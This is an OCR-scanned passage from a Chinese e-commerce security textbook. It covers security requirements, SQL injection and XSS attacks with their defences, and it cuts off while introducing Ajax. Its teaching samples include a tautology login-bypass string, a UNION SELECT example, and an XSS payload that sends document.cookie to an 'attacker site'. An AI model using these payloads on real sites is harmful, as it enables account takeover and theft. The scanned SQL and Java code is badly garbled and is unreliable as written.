机 密 。 而 电子 商务 的 信息 以 电子 形式 存在 ,在 显示 输出 \ 后 台 存 储 和 传输 环节 中 很 容易 
遭遇 来 自 内 部 工作 人 员 和 外 部 相关 人 员 的 窥视 和 和 刺探。 因此 ,电子 信息 必须 进行 加 密 处 
理 , 即 便 是 内 部 工作 人 员 ,也 不 能 随意 接触 明文 的 核心 数据 ,就 无 法 轻易 地 复制 流出 。 在 
传输 过 程 中 ,采用 加 密 和 解密 等 各 种 安全 协议 技术 对 数据 流 进 行 安全 传输 管理 ,以 抵御 
传输 途中 的 非法 入 侵 。 


4. 系统 可 靠 性 


系统 可 靠 性 技术 包括 两 方面 的 内 容 。 
一 方面 是 保证 电子 商务 系统 随时 随地 为 交易 各 方 提 供 可 靠 服务 。 服 务 内 容 包 括 : 供 
应 商 可 以 及 时 录入 和 更 新 商品 信息 ,自动 调整 库存 情况 ;消费 者 随时 了 解 商品 的 促销 计 
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划 、 当 前 价格 及 详细 商品 信息 ;消费 方 顺畅 完成 定购 信息 的 提交 和 保证 支付 钱 款 的 安全 
等 。 这 些 过 程 都 需要 电子 商务 系统 提供 长 期 稳定 可 靠 的 网 络 服务 和 应 用 软件 服务 ,不 能 
因为 区 域 断 电 、 服 务 器 崩溃 或 溢出 以 及 线路 障碍 等 原因 暂时 或 长 时 间 无 法 提供 服务 ,使 
电子 商务 交易 被 迫 中 断 ,直接 影响 电子 商务 各 方 的 信誉 度 。 

男 一 方面 是 指 网 上 交易 者 的 身份 必须 是 可 认证 的 。 在 传统 贸易 模式 下 ,贸易 双方 通 
过 在 交易 合同 .契约 或 贸易 单据 等 书面 文件 上 手写 签名 或 法 定 印章 的 形式 来 保证 交易 者 
身份 的 可 靠 性 和 唯一 性 ,传送 单据 大 多 通过 得 到 法 律 认 可 的 传真 件 的 形式 完成 。 电 子 商 
务 中 的 身份 识别 已 经 脱离 了 传统 识别 的 模式 ,身份 识别 技术 必须 做 到 准确 无 误 地 辨认 对 
方 的 身份 ,同时 还 能 够 证 明 自己 的 身份 ,以 保证 货款 的 安全 。 


5. 不 可 否认 性 


贸易 活动 中 有 时 难免 会 发 生 企图 否认 自己 做 出 的 承诺 的 行为 。 例 如 ,贸易 一 方 发 现 
情势 变化 ,所 完成 的 交易 行为 对 自己 不 利 或 存在 更 大 的 利益 诱惑 时 ,就 有 可 能 否认 已 做 
出 的 行为 。 交 易 抵 赖 行为 可 能 涉及 商务 活动 的 各 个 相关 对 象 。 再 如 ,商家 卖 出 的 商品 因 
定价 有 误 而 不 承认 已 完成 的 交易 ;金融 机 构 收 到 货款 后 否认 收 款 事实 ; 购 货 人 确认 订货 
单 后 不 承认 是 自己 下 的 单 ;收发 信息 者 事后 否认 曾经 收 到 过 或 发 送 过 某 条 信息 ; 收 货 后 
否认 收 到 货物 等 。 

因此 ,不 可 否认 性 技术 必须 保证 有 记录 充分 的 证 据 ,对 贸易 各 方 的 身份 进行 鉴别 , 确 
保 身份 的 真实 性 和 唯一 性 ;通过 授权 访问 控制 对 使 用 资源 和 数据 库 的 人 员 和 范围 进行 界 
E ;对 在 服务 器 或 浏览 器 端的 每 一 操作 对 象 和 操作 行为 进行 信息 存储 和 日 志 管理 ,以 备 
日 后 查询 等 。 


6. 匿名 性 


为 避免 在 交易 流程 中 不 明 身 份 的 中 间 环 节 发 生意 外 ,用 户 的 个 人 隐私 应 该 得 到 保 
护 。 电 子 商 务 系统 必须 在 确保 交易 对 象 的 真实 性 和 安全 性 的 同时 ,提供 交易 平台 的 匿名 
性 ,防止 交易 过 程 被 跟踪 ,交易 对 象 被 锁定 ,保证 交易 过 程 中 不 把 用 户 的 个 人 信息 泄露 给 
未 知 的 或 不 可 信和 的 个 体 ,以 保护 合法 用 户 的 隐私 不 被 侵犯 。 


7. 原子 性 


电子 商务 系统 中 引入 原子 性 的 概念 ,用 以 规范 电子 商务 中 的 资金 流 、 信 息 流 和 物流 。 
原子 性 是 满足 商品 交易 的 要 求 之 一 ,包括 货币 原子 性 (money atomicity)、 货 物 原 子 性 
(goods atomicity)、 确 认 发 送 原子 性 (certified delivery atomicity)。 

货币 原子 性 定义 为 电子 商务 中 的 资金 流 守恒 , 即 资金 在 电子 商务 有 关 各 方 的 转移 中 
不 会 无 故 增加 或 减少 。 例 如 ,现金 交易 中 ,满足 货币 原子 性 意味 着 购买 者 钱包 的 减少 正 
好 等 于 销售 者 收入 的 增加 。 

满足 货物 原子 性 也 一 定 满足 货币 原子 性 。 即 必须 保证 购买 者 一 旦 付 了 款 就 一 定 会 
得 到 相应 的 商品 ,购买 者 如 果 得 到 商品 , 则 一 定 是 已 经 付 完 款 , 确 保 不 会 发 生 付款 后 得 不 
到 商品 或 得 到 商品 而 未 曾 付 款 的 情况 。 
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1L14 电子 商务 安全 技术 的 内 容 


电子 商务 作为 新 兴 的 商业 运作 模式 ,帮助 全 球 企业 和 个 人 用 户 突破 时 间 和 空间 的 制 
约 , 提 供 了 多 样 化 的 资讯 ,缩短 了 交易 流程 ,并 降低 了 交易 成 本 。 但 如 果 不 能 保证 电子 商 
务 的 交易 安全 ,就 会 违背 公平 .公正 和 公开 的 交易 原则 ,损害 合法 交易 人 的 利益 ,增加 交 
易 成 本 ,甚至 给 交易 各 方 带 来 无 法 估量 的 经 济 损失 。 
因此 ,电子 商务 的 安全 问题 是 电子 商务 发 展 过 程 中 始终 关注 的 重要 课题 。 电 子 商务 
的 安全 实用 技术 ,就 是 通过 综合 的 技术 手段 和 管理 手段 ,建立 有 效 的 技术 防御 体系 和 管 
理 机 制 ,借助 安全 保密 技术 和 法 律 法 规 体 系 , 防 范 化 解 交 易 过 程 中 的 各 种 风险 ,保证 网 上 
交易 的 顺利 实施 。 电 子 商务 的 安全 技术 主要 涵盖 以 下 几 个 方面 的 内 容 。 


1. 连接 访问 控制 


连接 访问 控制 是 指 保证 只 有 授权 方才 能 与 网 络 设备 建立 关联 ,访问 服务 器 端的 系统 
资源 ;访问 控制 也 同时 使 一 个 合法 用 户 具 有 有 限 的 访问 特定 资源 的 权限 。 连 接 访问 控制 
是 安全 技术 的 第 一 道 防线 ,可 以 阻止 非 授权 用 户 建立 连接 ,并 阻止 所 有 消息 从 非 授 权 源 
到 达 目 的 地 。 


2. 数据 来 源 认证 


数据 来 源 认 证 是 指 授权 方 成 功 建立 安全 关联 后 ,入 侵 者 可 能 通过 在 有 关 通 信 的 任意 
一 方 中 插 入 自己 的 消息 来 进行 渗透 和 支持 。 数 据 来 源 认证 通过 确认 接收 的 消息 确定 其 
来 源 于 发 送 方 ,从 而 阻止 这 种 攻击 ,这 种 技术 可 以 用 于 所 有 关联 交易 的 消息 交换 过 程 。 


3. 完整 性 确认 


数据 来 源 认证 保证 了 所 接收 的 消息 来 源 于 合法 的 发 送 方 ,但 是 不 能 保证 数据 在 传送 
过 程 中 没有 遭 到 自 改 。 入 侵 者 可 能 通过 物理 接 入 传送 线路 的 方法 窃听 消息 并 自 改 部 分 
或 全 部 消息 。 数 据 完整 性 确认 的 目的 是 检测 消息 是 否 被 自 改 ,其 中 包括 消息 内 容 的 部 分 
或 全 部 ,以 及 消息 发 送 的 时 间 是 否 被 提前 或 拖 后 等 。 


4. 机 密 性 认证 


有 时 入 侵 者 不 是 为 了 自 改 消息 ,而 是 为 了 提前 或 非法 获取 机 密 消 息 ,并 且 隐 藏 自己 
已 经 提前 获知 该 消息 的 事实 。 数 据 完整 性 认证 可 以 保证 数据 是 原封 不 动 地 传送 到 目的 
端的 ,但 无 法 保证 在 传送 过 程 中 没有 被 第 三 方 窥视 或 揭 封 。 数 据 机 密 性 认证 需要 保证 消 
息 发 送 的 时 间 ,长 度 以 及 消息 的 内 容 均 处 于 机 密 状 态 。 


5. 安全 警报 和 审计 技术 


当 电子 商务 的 安全 正在 或 潜在 遭受 威胁 的 时 候 , 安 全 系统 模块 需要 及 时 发 出 警报 指 
示 。 而 安全 日 志 记 录 和 跟踪 电子 商务 整个 流转 过 程 中 的 操作 痕迹 ,通过 完善 的 审计 稽核 
制度 来 检测 是 否 有 入 侵 者 获取 或 自 改 交易 数据 ,提供 证 据 化 解 纠 纷 ,阻止 网 络 犯罪 。 
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后 讨论 思考 

(1) 什么 是 电子 商务 ? 试 举 一 例 描述 你 眼中 的 电子 商务 。 

(2) 分 析 在 电子 商务 第 三 次 浪潮 中 可 能 遭遇 的 电子 商务 安全 问题 。 
(3) 试 论 如 何 保证 电子 商务 数据 的 完整 性 。 


112 电子 商务 安全 问题 及 解决 方案 


【案例 11-1】 网 络 犯 罪 造成 的 损失 日 益 扩大 。 赛 门 铁 克 公 司 旗 下 的 诺顿 公司 2015 年 
11 月 24 日 发 布 最 新 (诺顿 网 络 安全 调查 报告 } 指 出 ,当下 网 络 犯罪 日 益 独 狐 ,在 接受 调研 
的 17 个 国家 中 ,大 约 有 5.94 亿 人 曾 在 过 去 一 年 内 遭受 网 络 攻击 ,经 济 损失 总 共 高 达 
1500 亿美 元 。 而 中 国 是 新 兴 市 场 中 遭受 网 络 犯 罪 攻 击 最 严重 的 国家 之 一 ,在 2014 年 ,大 
约 2.4 亿 的 中 国 消费 者 曾 成 为 网 络 犯 罪 的 受害 者 ,经 济 损失 高 达 7000 亿 元 人 民 币 。 全 
球 消费 者 平均 耗费 21 个 小 时 处 理 遭 受 网 络 攻击 带 来 的 后 果 。62% 的 全 球 消费 者 认为 自 
己 的 信用 卡 信息 更 容易 通过 网 络 途径 被 盗 , 远 高 于 认为 信用 卡 信 息 更 容易 通过 钱包 被 盗 
而 面临 风险 的 38% 的 消费 者 比例 。 

由 于 应 用 程序 或 者 操作 系统 中 存在 着 安全 漏洞 , 遭 到 网 络 攻击 而 引发 的 安全 事故 是 
电子 商务 中 最 常 发 生 的 问题 。 针 对 Web 系统 的 攻击 方式 多 种 多 样 ,常见 的 有 缓冲 区 溢 
出 攻击 ,操作 系统 命令 注入 攻击 、 跨 站 脚本 攻击 、 注 入 式 SQL 攻击 和 会 话 支持 等 。 本 节 
选择 几 种 比较 有 代表 性 的 加 以 介绍 ,并 着 重 讲述 弥补 这 些 安全 漏洞 的 对 策 。 


1121 注入 式 SQL 攻击 


1. 注入 式 SQL 攻击 的 定义 


注入 式 SQL 攻击 是 指 攻 击 者 在 Web 表单 的 输入 域 或 页 面 请 求 的 查询 框 中 输入 特殊 
的 内 容 , 利 用 系统 的 漏洞 ,使 这 些 特 殊 输 入 构成 有 危害 的 SQL 语句 , 当 语 句 被 执行 后 , 攻 
击 者 就 可 以 得 到 保密 的 信息 、 权 限 或 者 执行 非法 操作 的 攻击 方式 。 


2. 注入 式 SQL 攻击 的 原理 


注入 式 SQL 攻击 的 原理 ,就 是 利用 输入 的 特殊 内 容 , 把 正常 生成 的 SQL 语句 变 成 和 
设计 预期 完全 不 同 的 内 容 , 从 而 达到 获取 保密 信息 
或 权限 的 目的 。SQL 注入 式 攻 击 模拟 登录 窗口 如 
图 11-1 所 示 。 

在 图 11-1 所 示 的 常见 的 登录 窗口 中 ,通过 显示 
表单 让 用 户 输入 自己 的 用 户 名 和 密码 。 然 后 用 这 
两 项 作 关 键 字 在 数据 库 中 查找 ,如 果 存 在 ,就 认为 
登录 成 功 。 

编程 时 使 用 下 面 的 SQL 语句 来 检索 用 户 表 : 


图 11-1 注入 式 SQL 攻击 模拟 登录 窗口 
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SELECT USER NAME FROM USER TEL WHERE, USER ID= '$ id' AND PASSWD= '$ passwd' 


实际 运行 时 用 窗口 输入 的 用 户 名 和 密码 替换 上 面 的 $id # $ passwd 后 ,提交 给 
ODBC 等 数据 库 引 擎 执行 。 例 如 当 输 入 的 用 户 名 和 口令 分 别 为 userl 和 passl 时 ,上 述 
SQL 语句 变 为 

SELECT USER NAME, FFCM USER _TEI, WHERE USER ID= 'user1' AND PASSWD= 'pass1' 


在 正常 输入 时 , 当 用 户 名 和 口令 都 正确 时 可 以 正常 登录 , 当 用 户 名 或 者 口令 不 正确 
时 因为 取 不 到 数据 ,判定 为 登录 失败 ,由 此 可 以 验证 用 户 的 身份 。 

而 当 攻 击 者 在 表单 中 输入 同样 的 用 户 名 userl ,而 口令 输入 变 为 passl' or 'A' 二 'A, 此 
时 ,SQL 语句 变 为 


SETIRCT USER NAME, FROM USER TEL WHEFE USFR ID= 'user1' AND BRSSWD= ' Passl' or 'A'= 'A' 


这 个 SQL 语句 因为 有 最 后 一 个 条 件 ,永远 为 真 ,使 用 任意 用 户 ID 和 密码 都 可 以 轻 
松 地 从 数据 库 中 取 到 数据 ,从 而 登录 成 功 。 分 析 其 原因 ,攻击 人 口 在 输入 值 的 “”( 单 引 
号 ) 上 ,因为 单 引 号 在 SQL 文法 中 有 特殊 的 含义 ,如 果 作 为 输入 内 容 使 用 必须 作 处 理 , 这 
个 处 理 通常 叫做 转 义 (escape) 处 理 ,常用 的 方法 是 用 两 个 单 引 号 代替 一 个 单 引号 ,两 个 连 
续 出 现 的 单 引号 被 认为 是 一 个 普通 的 单 引号 字符 ,而 不 是 一 个 分 隔 符 。passl' or 'A' 二 'A 
经 过 转 义 处 理 后 变 成 passl" or "A" 二 "A, 这 时 再 生成 检索 语句 如 下 :; 


SELECT USER NAME FROM USER_ TBL WHERE, USER_ID= 'user1' AND PASSWD= ' passl'' or ''A''=''A' 


用 这 个 语句 来 检索 数据 库 得 到 的 结果 就 是 没有 满足 条 件 的 记录 ,从 而 正确 判断 出 登录 
失败 。 

除了 单 引 号 外 ,还 有 其 他 一 些 敏 感 的 字符 或 字符 串 , 例 如 分 号 (;)、 反 和 斜 线 (\)、 
UNION ,注释 符 (--) 等 ,如 果 被 用 在 输入 中 ,这 些 字符 也 有 可 能 产生 歧义 。 其 中 “;” 是 
SQL 语句 的 分 隔 符 ,有 一 些 DBMS 会 把 用 “;” 分 隔 的 多 个 SQL 语句 同时 执行 ;“\" 是 一 
些 DBMS 扩展 的 转 义 符 , 例 如 MySQL 等 也 可 以 用 “\” 转 义 “”, 但 是 在 输入 文字 中 含有 
“\” 的 话 , 就 必须 对 这 个 字符 自身 做 转 义 处 理 ;UNION 是 SQL 的 保留 关键 字 ,UNION 前 
面 的 语句 即使 没有 取 到 数据 ,只 要 后 面 的 语句 取 到 数据 ,整个 语句 也 会 返回 结果 ;而 *--” 
表示 注释 ,在 “--” 之 后 的 内 容 都 被 认为 是 注释 ,如 果 出 现在 多 个 条 件 中 间 , 后 面 的 条 件 会 
被 当成 注释 而 不 予 理 皮 。 男 外 ,根据 使 用 的 DBMS 不 同 ,//、%、0x、cemd 等 也 会 被 用 作 
SQL 注入 式 攻击 的 入 口 。 


3. 注入 式 SQL 攻击 的 对 策 


1) 参数 绑 定 式 SQL 

防御 注入 式 SQL 攻击 的 基本 原则 是 使 用 参数 绑 定 式 SQL。 在 前 面 的 说 明 中 介绍 了 
使 用 转 义 处 理 来 应 对 注入 式 SQL 攻击 的 方法 ,不 过 转 义 处 理 要 考虑 的 情况 很 多 ,而 且 对 
于 不 同 的 数据 库 软件 有 可 能 需要 不 同 的 转 义 方法 ,给 程序 开发 和 移植 带 来 困难 。 所 以 使 
用 参数 绑 定 式 SQL .作为 防御 注入 式 SQL 攻击 的 首选 对 策 , 它 具有 自动 抵御 注入 式 SQL 
攻击 的 特性 。 参 数 绑 定 方式 的 示范 写法 (Java/JDBC) 如 下 : 
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Str scql= "SETRCT USER NAME. FFCM USER TBL WHERE: USER ID= ? AND PASSWD= ? "; 
/定义 SQL 语句 

PreparedStatement st= conn.prepareStatement (Str sql); 

// 使 用 preparestatement 语句 固定 SQL 语句 结构 ,变量 com 是 数据 库 连接 st.setstring(1,user); 

// 把 变量 user 的 值 ñ A BJ H Ft 芭 ) 赋 予 上 述 so 语句 的 第 一 个 绑 定 变量 第 一 处 问号 ) 

st.setstring(2,pass); // 把 变量 pass 的 值 输入 的 用 户 密码 ) 赋 予 上 述 sor 语句 的 第 二 个 绑 定 变量 

人 第 二 处 问号 ) 

ResultSet rs= st.executeQuery() ; /执行 QL 语句 ,取得 执行 结果 

使 用 这 种 写法 ,不论 用 户 ID 和 密码 输入 什么 值 , 都 只 会 作为 第 一 个 和 第 二 个 参数 的 
值 来 处 理 ,而 不 会 被 拼凑 成 别 的 条 件 。 这 种 处 理 方 法 也 叫 prepared statement 方式 ,意思 
是 说 把 SQL 语句 事先 处 理 一 下 ,提前 把 它 的 结构 固定 下 来 ,在 执行 中 只 能 给 它 传递 参 
数 ,而 不 能 改变 它 的 语句 结构 。 

2) 特殊 字符 转 义 处 理 

虽然 上 述 参数 绑 定 方式 比较 简便 ,但 遇 到 参数 的 个 数 . 顺 序 和 类 型 等 不 固定 的 情况 
时 ,使 用 上 述 绑 定 方式 处 理会 变 得 复杂 甚至 不 可 实现 。 这 时 候 就 必须 使 用 转 义 处 理 。 

转 义 处 理 的 基本 原则 是 下 面 两 个 字符 一 定 要 转 义 ， 

A 

使 用 转 义 处 理 在 有 些 情况 (比如 使 用 UNION 的 攻击 方法 ) 时 会 不 适用 。 这 个 时 候 
就 要 对 原始 的 SQL 语句 进行 适当 的 修改 ,使 其 能 够 防范 这 些 攻击 ,看 下 面 的 例子 : 

SELECT USER NAME, FROM USER_TEL WHERE USER ACE> $ age 
如 果 界 面 输入 的 年 龄 值 是 30 UNION SELECT… 上 面 的 语句 就 变 成 如 下 语句 : 

SELECT USER_NRME FROM USER_TEL WHERE USER_AGE> 30 UNICN SETRCT… 

如 果 UNION 后 面 的 语句 条 件 适当 ,可 以 取得 和 前 面 的 年 龄 限制 毫 无 关系 的 用 户 
信息 。 

如 果 上 述 语句 的 最 后 一 个 条 件 改 为 USER_AGE>'$ age', 置 换 后 的 包括 UNION 在 
内 的 内 容 都 被 括 在 单 引号 中 ,就 不 会 出 现 问题 。 同 样 的 思想 也 适用 于 ;”。 

另外 ,通过 对 界面 输入 内 容 作 严格 验证 ,限制 可 输入 内 容 的 范围 ,比如 说 检测 到 这 些 
敏感 字符 时 显示 错误 信息 ,也 可 以 在 一 定 范围 内 防止 注入 式 SQL 攻击 。 


1122 XSS 跨 站 脚本 攻击 
1. XSS 跨 站 脚本 攻击 的 定义 


跨 站 脚本 (Cross Site Scripting) 的 缩写 本 来 应 该 是 CSS. (H CSS 又 是 Cascading 
Style Sheets 的 缩写 ,为 了 区 分 这 两 个 名 称 , 常 把 跨 站 脚本 缩写 为 XSS, 在 本 书 中 也 使 用 
XSS 这 种 写法 。 

XSS 跨 站 脚本 攻击 是 指 Web 应 用 程序 动态 生成 的 网 页 中 被 插入 恶意 脚本 , 当 它 被 
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毫 不 知情 的 用 户 浏览 器 所 接收 ,或 者 被 本 身 对 跨 站 脚本 不 设防 的 应 用 程序 所 调用 时 ,该 
脚本 被 激活 。 由 于 动态 网 站 依赖 于 用 户 的 输入 ,恶意 用 户 可 以 通过 将 恶意 脚本 藏 在 合法 
的 请 求 中 ,将 恶意 脚本 输入 网 页 ,达到 攻击 者 的 特殊 目的 。 


2. XSS 跨 站 脚本 攻击 的 原理 分 析 


为 了 理解 XSS 攻击 ,请 参见 下 例 。 

这 是 一 个 简单 的 Web 应 用 程序 ,图 11-2 中 输入 的 值 在 图 11-3 中 被 显示 出 来 。 但 是 
如 果 对 输入 框 的 内 容 不 做 特殊 控制 ,就 有 可 能 出 现 被 非法 利用 的 情况 。 例 如 ,在 图 11-2 
的 输入 框 里 输入 “一 script 二 alert(document. cookie); < /script >”, ñ OK 按钮 ,就 会 
发 现 图 11-3 中 的 结果 显示 出 来 后 ,还 会 弹出 一 个 显示 SessionID 的 窗口 ,如 图 11-4 所 示 。 


Nicrosoft Internet Explorer 3 


/ ! \  JSESSIONID=FBDC26C43783BBEDBS4F6EOFF131AE92 


11-4 输入 特殊 脚本 后 的 结果 


在 执行 结果 中 ,从 图 11-2 所 示 的 窗口 输入 的 Java 脚本 并 不 是 被 简单 地 显示 在 图 11-3 
所 示 的 窗口 上 ,而 是 被 当 作 脚 本 执行 了 ,执行 的 结果 是 session ID 被 显示 在 对 话 框 里 。 这 
就 是 跨 站 脚本 中 “脚本 ”的 含义 。 而 “ 跨 站 ”就 是 指 当 用 户 访问 某 个 有 漏洞 网 站 的 时 候 , 带 
有 攻击 代码 的 Java 脚本 被 执行 ,而 该 脚本 的 作用 就 是 把 访问 网 站 时 生成 的 cookie 信息 
全 部 送 到 攻击 者 控制 的 另 一 个 网 站 上 。 此 时 ,被 保存 在 cookies 中 的 用 户 名 、 密 码 等 重要 
信息 也 在 不 知情 的 用 户 眼皮 底下 被 窃取 。 现 实 中 ,这 种 攻击 手段 经 常 被 利用 ,如 以 下 
URL 示例 : 


http:// 有 漏洞 的 网 站 /xss_samp2.jsp? in _name= % 3Cscript% 3Ealert% 28dbcument. cookie% 29% 3B% 3C% 

2Fscript% 3E 

这 个 URL 表面 上 和 图 11-2 至 图 11-4 好 像 没 关系 ,其 实 这 个 URL 就 是 图 11-2 的 
OK 按钮 按 下 后 向 服务 器 端 送出 去 的 HTTP 请 求 ,只 不 过 是 界面 输入 内 容 “ 二 script 二 
alert ( document. cookie); 过 /script 之 ”被 编码 了 而 已 。 如 果 把 “alert ( document. 
cookie) ; ”部 分 替换 成 “document. location 王 "http:// 攻 击 者 网 站 /cookie. cgi? cookie= " 
十 document. cookie;”, 就 可 以 达到 把 取得 的 cookie 信息 送 到 攻击 者 网 站 的 目的 。 假 设 
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攻击 者 把 这 个 URL 伪装 成 一 个 普通 购物 网 站 的 链接 ,通过 E-mail 发 送 给 大 量 用 户 ,而 其 
中 某 个 用 户 单 击 了 这 个 URL, 这 时 该 用 户 访问 这 个 网 站 的 cookie 信息 就 会 被 送 给 攻击 
者 ,如 果 攻 击 者 在 接收 到 用 户 的 cookie 信息 后 ,又 自动 跳 转 到 用 户 要 访问 的 上 述 网 站 ,多 
半 该 用 户 对 自己 的 信息 失窃 还 是 毫 无 知觉 。 在 这 种 情况 下 ,用 户 本 身 没有 输入 任何 内 
容 ,而 是 攻击 者 利用 有 漏洞 的 网 站 设 下 陷阱 ,把 用 户 的 个 人 信息 盗 取 到 自己 的 网 站 上 。 

综 上 所 述 ,XSS 攻击 方法 的 思路 如 下 : 首先 查找 一 个 网 站 ,这 个 网 站 存在 着 输入 的 内 
容 可 以 当 作 脚 本 被 执行 的 漏洞 ,然后 把 一 段 有 害 的 脚本 埋 入 E-mail、 悬赏 网 站 或 礼品 赠 
送 等 链接 中 ,一旦 用 户 单 击 了 这 些 链 接 , 脚 本 就 会 在 本 地 机 上 被 激活 ,或 是 窃取 信息 ,或 
是 安装 间谍 软件 ,甚至 破坏 系统 。 攻 击 者 窃取 用 户 信息 后 还 可 能 进一步 用 来 实施 盗窃 用 
户 资金 等 犯罪 行为 。 

除 上 述 输入 脚本 的 危害 外 ,如 果 把 输入 的 脚本 换 成 img 标记 ,还 会 造成 网 页 被 算 改 
等 情况 ,给 网 站 运营 者 带 来 巨大 损失 。 另 外 ,在 某 些 更 为 严重 的 情况 下 ,攻击 者 甚至 可 以 
修改 有 漏洞 网 站 的 表单 提交 地 址 ,第 三 者 使 用 被 修改 后 的 表单 输入 用 户 信息 ,攻击 者 可 
以 直接 窃取 这 些 输 入 信息 。 


3. XSS 跨 站 脚本 攻击 的 对 策 


从 XSS 攻击 的 原理 得 知 ,造成 XSS 攻击 的 主要 原因 是 网 站 有 设计 漏洞 ,不 能 有 效 地 
阻止 恶意 脚本 的 输入 和 执行 。 可 以 采取 的 对 策 主要 分 两 步 实行 ; 一 是 输入 验证 (check)， 
二 是 无 害 化 (sanitize) 处 理 。 

1) 输入 验证 

输入 验证 是 指 在 使 用 对 话 窗口 输入 内 容 之 后 ,要 对 所 输入 的 内 容 进行 严格 验证 , 阻 
止 恶意 输入 。 验 证 主要 遵循 严格 规范 输入 格式 、 服 务 器 端 确认 验证 ,验证 全 部 输入 参数 
和 不 发 行 通行 证 4 个 原则 。 

(1) 严格 规范 输入 格式 。 是 指 对 输入 格式 和 位 数 加 以 控制 。 例 如 ,身份 证 号 码 位 数 
限定 为 18 位 ,前 17 位 只 允许 输入 数字 ,第 18 位 只 允许 输入 数字 或 字母 X。 严 格 的 验证 
能 够 最 大 限度 地 避免 生成 的 HTML 产生 歧义 。 

(2) 服务 器 端 确认 验证 。 是 指 一 些 应 用 程序 会 在 客户 端 通过 JavaScript 验证 输入 ， 
虽然 响应 速度 快 ,但 是 客户 端 JavaScript 可 以 被 修改 或 屏蔽 。 所 以 即使 在 客户 端 验证 过 
的 内 容 , 在 服务 器 端 也 必须 重新 验证 。 

(3) 验证 全 部 输入 参数 。 是 指 除了 在 交互 框 中 直接 用 键盘 输入 的 内 容 以 外 ,通过 单 
选 按 钮 . 复 选 框 等 输入 的 内 容 也 要 进行 验证 。 表 面 上 看 ,这 些 输入 值 已 经 被 限制 在 指定 
范围 内 ,实际 上 ,因为 送 往 服务 器 的 request 参数 可 以 被 修改 ,限制 范围 外 的 值 也 可 以 很 
轻松 地 被 用 做 输入 值 。 

(4) 不 发 行 通行 证 。 是 指 上 一 个 页 面 输入 的 数值 在 下 一 个 页 面 使 用 时 ,常常 通过 
hidden 变量 的 方式 传递 ,因为 上 一 个 页 面 已 经 验证 过 了 ,下 一 个 页 面 使 用 时 往往 省 略 验 
证 , 即 持 有 通行 证 。 其 实 ,hidden 变量 传递 的 数值 也 可 以 简单 地 通过 修改 request 参数 的 
方式 被 修改 ,所 以 每 次 从 客户 端 接收 到 数据 时 都 必须 进行 验证 。 

2) 无 害 化 (sanitize) 处 理 
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无 害 化 处 理 和 注入 式 SQL 攻击 中 用 到 的 转 义 处 理 类 似 , 对 于 输入 内 容 中 可 能 有 害 
的 字符 进行 无 害 化 处 理 。 根 据 出 现 位 置 的 不 同 ,无 害 化 的 对 象 也 不 尽 相同 ,通常 Web JF 
发 中 需要 注意 的 字符 如 下 : 

在 CSV 文件 中 : "、,。 

在 HTML 文本 中 : <.>.&.".'. 

在 HTML Tag 中 :"、'。 

在 HTTP 中 : 0x0D( 回 车 )、0x0A( 换 行 )。 

无 害 化 的 方法 有 很 多 种 ,通常 要 根据 系统 的 设计 要 求 选择 最 适合 自己 的 方案 。 方 案 
之 一 是 使 用 HTML 转 义 方式 ,把 敏感 的 字符 转化 成 无 害 的 字符 ,这 是 最 常用 的 方 
式 。 如 : 


< 一 & 1t;,>— @.gt;. &.— ganp; 


方案 之 二 是 直接 删除 。 如 果 出 现 不 允许 出 现 的 字符 ,在 不 影响 系统 功能 的 前 提 下 可 
以 直接 删除 该 有 害 字符 。 

方案 之 三 是 替换 成 别 的 无 害 字符 。 可 以 根据 业务 内 容 , 把 二、 之 等 字符 替换 成 全 角 
的 同一 字符 ,也 可 以 把 *" ”等 引号 替换 成 括号 等 同 义 的 字符 。 

在 实际 的 应 用 程序 开发 中 ,使 用 哪 种 方法 ,要 根据 系统 的 要 求 灵 活 决 定 , 最 终 的 目的 
只 有 一 个 ,在 生成 的 HTML 文本 以 及 其 他 相关 的 内 容 中 不 出 现 敏感 或 者 有 害 的 内 容 。 

[ED 讨论 思考 

(1) 针对 Web 系统 的 攻击 方式 有 哪些 ? 试 着 找 找 看 。 

(2) 试 利用 注入 式 SQL 攻击 的 原理 ,为 某 小 型 购物 网 站 检查 是 否 存在 系统 漏洞 。 

(3) 讨论 应 对 XSS 跨 站 脚本 攻击 有 什么 书 上 没有 的 其 他 对 策 ? 


113 Web 20 中 常见 安全 问题 及 解决 方案 


Web 2. 0 的 普及 为 电子 商务 的 发 展开 辟 了 快车 道 , 如 今 几乎 所 有 企业 的 电子 商务 服 
务 中 都 或 多 或 少 加 入 Web 2. 0 的 内 容 ,快速 的 发 展 给 安全 管理 也 带 来 了 挑战 ,如 
Microsoft、eBay、Yahoo 和 Google 等 著名 企业 的 网 络 服务 都 曾 被 指出 存在 过 安全 漏洞 。 
本 节 就 对 电子 商务 中 Web 2. 0 的 安全 问题 和 有 关 对 策 进行 剖析 。 

【案例 11-2] Web 2.0 技 术 的 影响 力 和 现实 意义 。 麦 肯 锡 2009 年 发 表 一 份 调查 报 
告 称 ,通过 对 全 球 不 同行 业 的 1695 名 企业 管理 人 员 访 谈 , 发 现 Web 2.0 不 论 在 企业 组 织 
内 还 是 客户 间 、 供 应 商 间 都 发 挥 了 巨大 作用 。69% 的 受 访 者 表示 ,所 在 公司 获得 可 衡量 
的 商业 利益 ,包括 更 多 的 创新 产品 和 服务 ,更 有 效 地 营销 和 更 全 面 地 获取 信息 ,由 于 降低 
经 营 成 本 的 有 效 性 和 提高 公司 收益 的 显著 性 ,公司 将 继续 加 大 在 技术 上 的 投入 。 调 查 报 
告 还 指出 ,成 功 的 公司 不 仅 通过 Web 2. 0 技术 把 他 们 的 业务 流程 和 雇员 紧密 结合 在 一 
起 ,还 通过 Web 2.0 把 客户 和 供应 商 也 紧密 联系 在 一 起 。 
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131 Aix 的 安全 问题 和 对 策 


Ajax(Asynchronous JavaScript XML ,异步 JavaScript 和 XML) 是 使 用 JavaScript 
和 XML 利用 异步 通信 进行 信息 交换 的 方式 。 异 步 通 信 的 优点 是 不 用 等 待 每 一 个 处 理 完 
成 后 才 转 向 下 一 个 处 理 , 而 是 提前 预测 并 完成 一 些 相应 的 交互 处 理 , 这 样 可 以 大 幅度 缩 
短 用 户 等 待 页 面 刷新 的 时 间 , 从 而 极 大 地 提高 可 用 性 。 


1. Ajax 的 运行 过 程 
首先 来 看 下 面 这 个 简单 的 Ajax 代码 : 


< script language= "javascript"> 
var req; 
if ( wincow.XML[HttriRequest.) ( 
req =new XMIHttrRecuest () ; 
jelse if (wincow.Activexcbject) ( 
try { 
req = new Activexcbject ("MSXML2.XMLHTTP") ; 
) catch (e) ( 
req = new Activexcbject ("Microsoft XMLHTTP”) ; 
3 
} 
if (req) { 
req.cpen('GET', 'http://www.wan20.ccm/oontents.txt'); 
